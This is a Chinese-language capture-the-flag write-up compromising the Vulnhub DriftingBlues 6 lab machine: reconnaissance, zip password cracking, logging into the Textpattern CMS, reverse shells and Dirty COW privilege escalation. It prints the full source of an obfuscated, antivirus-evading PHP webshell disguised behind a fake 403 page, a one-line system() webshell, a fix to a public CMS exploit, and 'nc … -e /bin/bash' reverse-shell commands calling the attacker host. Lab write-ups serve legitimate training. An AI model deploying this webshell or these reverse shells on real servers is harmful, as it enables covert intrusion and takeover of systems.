[Vulnhub靶机] DriftingBlues: 6靶机渗透思路及方法(个人分享)
靶机下载地址:
https://download.vulnhub.com/driftingblues/driftingblues6_vh.ova
靶机地址:192.168.67.25
攻击机地址:192.168.67.3
一、信息收集
1.使用 arp-scan 命令扫描网段内存活的主机,以获取靶机ip地址
arp-scan -I 指定网卡 -l
2.使用 nmap 工具扫描靶机开放端口、服务版本以及系统版本,得到开放端口80及其服务http
nmap -sV -O 靶机地址
-sV 探测主机服务版本
-O 识别主机操作系统
3.访问web网页,在查看网页源代码时发现一串提示,但该段提示为靶场提示,没有什么实际作用
4.尝试使用 dirsearch 工具扫描靶机网站目录,得到 robots.txt 文件和 textpattern 目录
dirsearch -u 靶机URL
-u 指定目标URL
5.通过访问robots.txt,我们获得了一个 /textpattern/textpattern,以及一段提示信息(希望我们在扫描目录的字典中加入.zip的扩展名)
6.使用 gobuster 工具重新扫描靶机网站目录,并添加.zip扩展名,发现 spammer.zip 文件,访问该文件成功下载到本地,尝试解压发现存在密码
gobuster dir --url http://192.168.67.25 --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x zip
dir 使用DIR枚举目录(目录爆破模式)
-url 目标URL(指定目标URL)
--wordlist 字典列表的路径
-x 指定扩展名
二、漏洞利用
1.使用 zip2john 工具将压缩文件的密码转换为hash格式输出到 hash.txt 文件中,使用 john 工具进行密码破解,成功得到压缩包密码 myspace4(也可直接使用 fcrackzip 工具对zip文件的密码进行爆破)
zip2john Zip文件 > hash文件名
> 将输出重定向到指定的文件中
zip2john工具,用于将Zip文件的压缩密码转换为hash格式,可以将Zip文件转换为John the Ripper密码破解工具可识别的格式。这个工具将Zip文件的密码hash提取出来,以便用于后续密码破解攻击。
john --wordlist=密码字典路径 文件名
--wordlist 字典模式,从 文件或标准输入中读取词汇(指定字典)
John the Ripper(简称John)是一款开源的密码破解工具,它用于测试和评估密码的强度。John可以进行多种类型的密码破解,包括字典攻击、暴力破解、彩虹表攻击等。
/usr/share/wordists/rockyou.txt 是kali系统自带的密码文件,默认是个压缩包需要自行解压
fcrackzip -D -p 密码字典路径 -u Zip文件名
-D 指定字典来暴力破解
-p 使用字符串作为初始密码文件
-u 指定压缩文件
2.使用压缩包密码打开 creds.txt 文件,得到账号/密码(mayer/lionheart)
3.访问之前获取到的文件 /textpattern/textpattern ,是一个登录页面,通过查看分析,发现CMS是textpattern
4.输入我们获取到的账户密码成功访问该网站后台,此时我们获得了CMS的版本信息为4.8.3
三、反弹shell
此时有两种反弹shell的方法:
第一种:利用CMS的版本漏洞进行反弹shell
第二种:利用CMS中文件上传模块上传木马
第一种反弹shell方法:
1.使用 searchsploit 工具搜索CMS版本漏洞信息,查找到该CMS版本漏洞利用脚本
Searchsploit是一款用于搜索和比较漏洞利用代码的命令行工具,基于Metasploit框架,并且内置了漏洞利用数据库,可以快速在本地搜索相关的漏洞利用代码,同时也支持从在线源获取最新的漏洞信息。
2.进入到漏洞利用脚本的目录下,运行该python脚本,提示脚本运行方法
python 48943.py URL地址 用户名 密码
3.执行漏洞脚本,运行时可能会显示报错,需要手动将代码修改,在第89行,script下标应当修改为3(还是建议看一下大佬写的:对DriftingBlues-6靶机进行渗透测试-CSDN博客),成功反弹shell
scriptJS = soup.find_all("script")[3].string.replace("var textpattern = ", "")[:-2]
4.但是通过该方法反弹的shell无法跳转到其他目录,在攻击机开启 nc 监听,利用刚才反弹的shell执行 nc 命令,尝试反弹新的shell
nc -lvp 监听端口号 靶机地址
-l 开启监听
-v 显示详细输出
-p 指定监听端口
nc 攻击机地址 监听端口号 -e /bin/bash
-e 指定对应的应用程序
5.成功反弹shell,利用python中pty模块的创建交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
-c 在命令行中调用python代码
pty.spawn() 函数是pty模块中的一个函数,用于创建一个子进程,并将其连接到一个伪终端。通过这个伪终端,我们可以与子进程进行交互,就像在控制台上一样。
第二种反弹shell方法:
1.在该CMS中存在文件上传位置,尝试上传木马
2.编写免杀木马 cmd.php 进行上传(因为靶机有防火墙所以需要免杀),上传成功后没有直接回显上传文件的路径,在查找后发现在管理界面中有上传文件的路径
<?php
class User {public static function getpublicMethod() {return 'publicMethod';}public static function publicMethod($args) {$key = 'args';$pass_decode=$$key;return @eval($pass_decode);}
}
$classloader = 'User';
$publicMethod1 = ['User',$classloader::getpublicMethod()];
$aes_decode =$publicMethod1('
$username = \'TUHUsuGa\';
$password = \'UTUHUsuGaUdTUHUsuGaWMllXd29KTUHUsuGaRjlRVDFOVVd5ZGpiV1FuWFNrNw==\';
header(\'dddddd:\'.$username);
$arr = apache_response_headers();
$template_source=\'\';
foreach ($arr as $k => $v) {if ($k[0] == \'d\' && $k[4] == \'d\') {$template_source = str_replace($v,\'\',$password);}
}
$template_source = base64_decode/**/($template_source);
$template_source = base64_decode/**/($template_source);
$key = \'template_source\';
$aes_decode=$$key;
return $aes_decode;
');
$publicMethod2 = ['User',$classloader::getpublicMethod()];
$publicMethod2($aes_decode);
$p7Buth = "CjwhZG9jdHlwZSBodG1sPgo8aHRtbD4KPGhlYWQ+CjxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KPHRpdGxlPjQwMyBGb3JiaWRkZW48L3RpdGxlPgo8c3R5bGU+CmJvZHl7IAogICAgcGFkZGluZzowOyAKICAgIG1hcmdpbjowOyAKICAgIGZvbnQtZmFtaWx5OiJNaWNyb3NvZnQgWWFIZWkiLCAKICAgICJNaWNyb3NvZnQgWWFIZWkgVUkgTGlnaHQiOwogICAgZm9udC1zaXplOjE0cHg7Cn0KLnBhZ2V7CiAgICBoZWlnaHQ6IDQ0NnB4OyAKICAgIG1hcmdpbjogMCBhdXRvOwogICAgcGFkZGluZy1yaWdodDoyMHB4OwogICAgbWFyZ2luLXRvcDozJTsKfQoucGFnZS10b3B7CiAgICB3aWR0aO+8mjEyMDBweDsKICAgIG1hcmdpbjogMCBhdXRvOwogICAgdGV4dC1hbGlnbjpjZW50ZXI7Cn0KLnBhZ2UtYm90dG9tewogICAgd2lkdGg6MTIwMHB4OwogICAgbWFyZ2luOiAwIGF1dG87Cn0KLnBhZ2UtYm90dG9tLXRpcHsKICAgdGV4dC1hbGlnbjpjZW50ZXI7CiAgIGNvbG9yOiAjN2Q3ZDdkOwogICBwYWRkaW5nOjE2cHggMCAxMHB4IDA7CiAgIGZvbnQtc2l6ZToxNnB4Owp9Ci5wYWdlLWJvdHRvbS13b3JkewogICBtYXJnaW4tbGVmdDozMCU7CiAgIGNvbG9yOiMzMTMxMzEKfQoucGFnZS1ib3R0b20td29yZCBwewogIGZvbnQtd2VpZ2h0OnVuc2V0OwogIGxpbmUtaGVpZ2h0OiAyMnB4OwogIG1hcmdpbjogMDsKfQoKPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KPGRpdiBjbGFzcz0icGFnZSI+ICAKICAgIDxkaXYgY2xhc3M9InBhZ2UtdG9wIj4KICAgICAgICA8aW1nIHNyYz0iaHR0cHM6Ly9ibG9ja3NyYy5oYXBsYXQubmV0L3dhZl9mb3JiaWRkZW5fZmlsZS93YWYtaW50ZXJUaXAuanBnIiAvPgogICAgPC9kaXY+CiAgICA8ZGl2IGNsYXNzPSJwYWdlLWJvdHRvbSI+CiAgICAgIDxkaXYgY2xhc3M9InBhZ2UtYm90dG9tLXRpcCIgbGFuZ0ZsYWc9J2Vycm9yVGlwJz48L2Rpdj4KICAgICAgPGRpdiBjbGFzcz0icGFnZS1ib3R0b20td29yZCI+CiAgICA8L2Rpdj4KPC9kaXY+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9Imh0dHBzOi8vYmxvY2tzcmMuaGFwbGF0Lm5ldC93YWZfZm9yYmlkZGVuX2ZpbGUvd2FmLWpxdWVyeS1taW4uanMiPjwvc2NyaXB0Pgo8c2NyaXB0PgpqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsKICAgICQoIiN0aW1lX2lkIikuaHRtbCh0b0xUKDE2OTkxMDcyMDEwMDApKTsKICAgIHdpbkhlaWdodCA9ICQod2luZG93KS5oZWlnaHQoKTsKICAgICQoIi5wYWdlIikuc3RvcCh0cnVlLGZhbHNlKS5hbmltYXRlKHsibWFyZ2luLXRvcCI6d2luSGVpZ2h0LzItMzEyfSwwKTsKICAgICQod2luZG93KS5yZXNpemUoZnVuY3Rpb24oKXsgIAogICAgICAgIHdpbkhlaWdodCA9ICQod2luZG93KS5oZWlnaHQoKTsKICAgICAgICAkKCIucGFnZSIpLnN0b3AodHJ1ZSxmYWxzZSkuYW5pbWF0ZSh7Im1hcmdpbi10b3AiOndpbkhlaWdodC8yLTMxMn0sMCk7CiAgICB9KTsKICAgIGNoYW5nZVBhZ2VFbGVtKCk7CiAgICBpZigkKCcjaW5uZXJCb3QnKS5odG1sKCkubGVuZ3RoPD0wKXsKICAgICAgICAkKCcjYm90SWQnKS5yZW1vdmUoKTsKICAgIH0KfSk7CgpmdW5jdGlvbiB0b0xUKGRhdGUpewogICAgZGF0ZSA9IG5ldyBEYXRlKHBhcnNlSW50KGRhdGUpKTsKICAgIHZhciB1dGM7CiAgICBpZiAoanVkZ2VMYW5ndWFnZSgpID09IDApCiAgICAgICAgdXRjID0gZGF0ZS50b0xvY2FsZVN0cmluZygnemgnLHt0aW1lWm9uZU5hbWU6ICdzaG9ydCcsIGhvdXIxMjogZmFsc2V9KTsKICAgIGVsc2UKICAgICAgICB1dGMgPSBkYXRlLnRvTG9jYWxlU3RyaW5nKCdlbicse3RpbWVab25lTmFtZTogJ3Nob3J0JywgaG91cjEyOiBmYWxzZX0pOwogICAgcmV0dXJuIHV0YzsKfQpmdW5jdGlvbiBqdWRnZUxhbmd1YWdlKCl7CiAgIHZhciBsYW5nID0gbmF2aWdhdG9yLmxhbmd1YWdlIHx8IG5hdmlnYXRvci51c2VyTGFuZ3VhZ2U7CiAgIHZhciBsYW5nRmxhZyA7CiAgIGlmKGxhbmc9PSJ6aC1DTiIpewogICAgICAgbGFuZ0ZsYWc9MDsKICAgfSBlbHNlewogICAgICAgbGFuZ0ZsYWc9MTsKICAgfQogICByZXR1cm4gbGFuZ0ZsYWc7Cn0KZnVuY3Rpb24gY2hhbmdlUGFnZUVsZW0oKXsKICAgIHZhciBsYW5nT2JqPXsgICAgICAgCiAgICAgICAgJ2NvbG9uJzpbJ++8micsJzonXSwKICAgICAgICAnZXZlbklEJzpbJ+S6i+S7tklEJywnRXZlbnQtSUQnXSwKICAgICAgICAnY2xpZW50SVAnOlsn5a6i5oi356uvSVAnLCdDbGllbnQtSVAnXSwKICAgICAgICAnY3V1cmVudFRpbWUnOlsn5b2T5YmN5pe26Ze0JywnQ3VycmVudCBUaW1lJ10sCiAgICAgICAgJ2Vycm9yVGlwJzpbJ+aCqOW9k+WJjeeahOiuv+mXruihjOS4uuWtmOWcqOW8guW4uO+8jOivt+eojeWQjumHjeivlS4uLicsJ1lvdXIgY3VycmVudCBiZWhhdmlvciBpcyBkZXRlY3RlZCBhcyBhYm5vcm1hbCwgUGxlYXNlIHRyeSBhZ2FpbiBsYXRlci4uLiddLAogICAgICAgICd1c2VyQWdlbnQnOlsnVXNlci1BZ2VudCcsJ1VzZXItQWdlbnQnXSwKICAgICAgICAvKidibG9ja0lkJzpbJ0JvdOaLpuaIqklEJywnQm90LUJsb2NrLUlEJ10sKi8KICAgICAgICAnUmVxdWVzdElEJzpbJ1JlcXVlc3QtSUQnLCAnUmVxdWVzdC1JRCddCiAgICB9CiAgICB2YXIgX2luZGV4PWp1ZGdlTGFuZ3VhZ2UoKTsKICAgIHZhciBwYWdlRWxlbWVudHMgPSAkKCJbbGFuZ0ZsYWddIik7CiAgICB2YXIgbGJsTGVuID0gcGFnZUVsZW1lbnRzLmxlbmd0aDsKICAgIHZhciBfZWxlbSxfZmxhZzsKICAgIGZvcihpID0gMDsgaSA8IGxibExlbjsgaSsrKSB7CiAgICAgICAgX2VsZW0gPSAkKHBhZ2VFbGVtZW50c1tpXSk7CiAgICAgICAgX2ZsYWc9X2VsZW0uYXR0cigibGFuZ0ZsYWciKTsKICAgICAgICBfZWxlbS50ZXh0KGxhbmdPYmpbX2ZsYWddW19pbmRleF0pOwogICAgfTsKfQoKPC9zY3JpcHQ+CjwvYm9keT4KPC9odG1sPg==";
if( count($_REQUEST) || file_get_contents("php://input") ){}else{http_response_code(403);echo base64_decode/**/($p7Buth);
}
3.在攻击机开启 nc 监听,利用木马反弹的shell执行 nc 命令(POST传参cmd参数执行命令),尝试反弹shell
nc -lvp 监听端口号 靶机地址
-l 开启监听
-v 显示详细输出
-p 指定监听端口
nc 攻击机地址 监听端口号 -e /bin/bash
-e 指定对应的应用程序
5.成功反弹shell,利用python中pty模块的创建交互式shell
其他:
在成功反弹shell后,经过对目录内文件的查看,发现目录内存在 BSQTYLTSOp.php 文件,该文件是一个一句话木马文件(代码如下),可以正常执行命令,且该文件是能正常下载查看的。那这样就可以不用上传木马文件,直接通过该文件执行 nc 命令反弹shell,其操作方法思路同第二种方法相同
<?php system($_GET["efcd"]); ?>
四、提权
1.使用find命令寻找suid程序,尝试进行提权,没有发现可利用的漏洞程序(没有可利用的脚本或程序),ssh服务也没有启动,同样没有发现其他用户
2.换个思路,使用 uname 命令查看系统版本内核,发现linux内核版本为3.2.0,搜索发现该版本存在脏牛漏洞
uname命令是一个在UNIX类操作系统中常用的命令,用于显示当前系统的相关信息
uname -a
-a 显示全部信息
3.使用 searchsploit 工具搜索 linux 内核版本漏洞信息(直接查找 "linux 3.2.0" ,搜索到的信息太多,直接查找 "Dirty COW" ,也就是脏牛漏洞),查找到该 linux 内核版本漏洞利用脚本
脏牛漏洞(Dirty COW)是一个影响Linux内核的本地特权提升漏洞,其漏洞编号为CVE-2016-5195,影响范围为2.6.22 <= Linux kernel < 3.9
脏牛漏洞的原理是利用了Linux内核中的一个写时复制(Copy-on-Write)的漏洞,使得攻击者可以获取到本应该只有读权限的文件的写权限。通过在特定条件下修改映射到内存的文件,攻击者可以在没有足够权限的情况下修改目标文件的内容。
4.在攻击机使用 python 开启HTTP服务器,来共享文件,在靶机上使用wget命令将提权脚本下载下来,并赋予该脚本执行权限
python -m http.server
-m 指定到执行的模块
http.server是Python标准库中提供的一个模块,它包含了一个简单的HTTP服务器类和相关函数,用于实现Web服务器和文件共享等功能(默认端口为8000)。
wget 指定文件URL //下载指定文件
需要再 /tmp 目录下下载,或者其他有权限创建文件权限的目录
5.使用gcc编译器来编译脚本,并生成可执行文件,运行可执行文件后,就可以能够登录新创建的用户,使用此漏洞可以根据需要修改用户值, 默认为 "firefart" 用户。
gcc -pthread 40839.c -o 指定文件名 -lcrypt
-pthread 用于指示编译器链接POSIX线程库
-o 指定输出文件
-lcrypt 用于链接密码库
6.成功执行脚本后,使用默认用户 "firefart" 以及自定义的密码 "123456" 进行登录,成功登录后查看权限,发现成功提权至root权限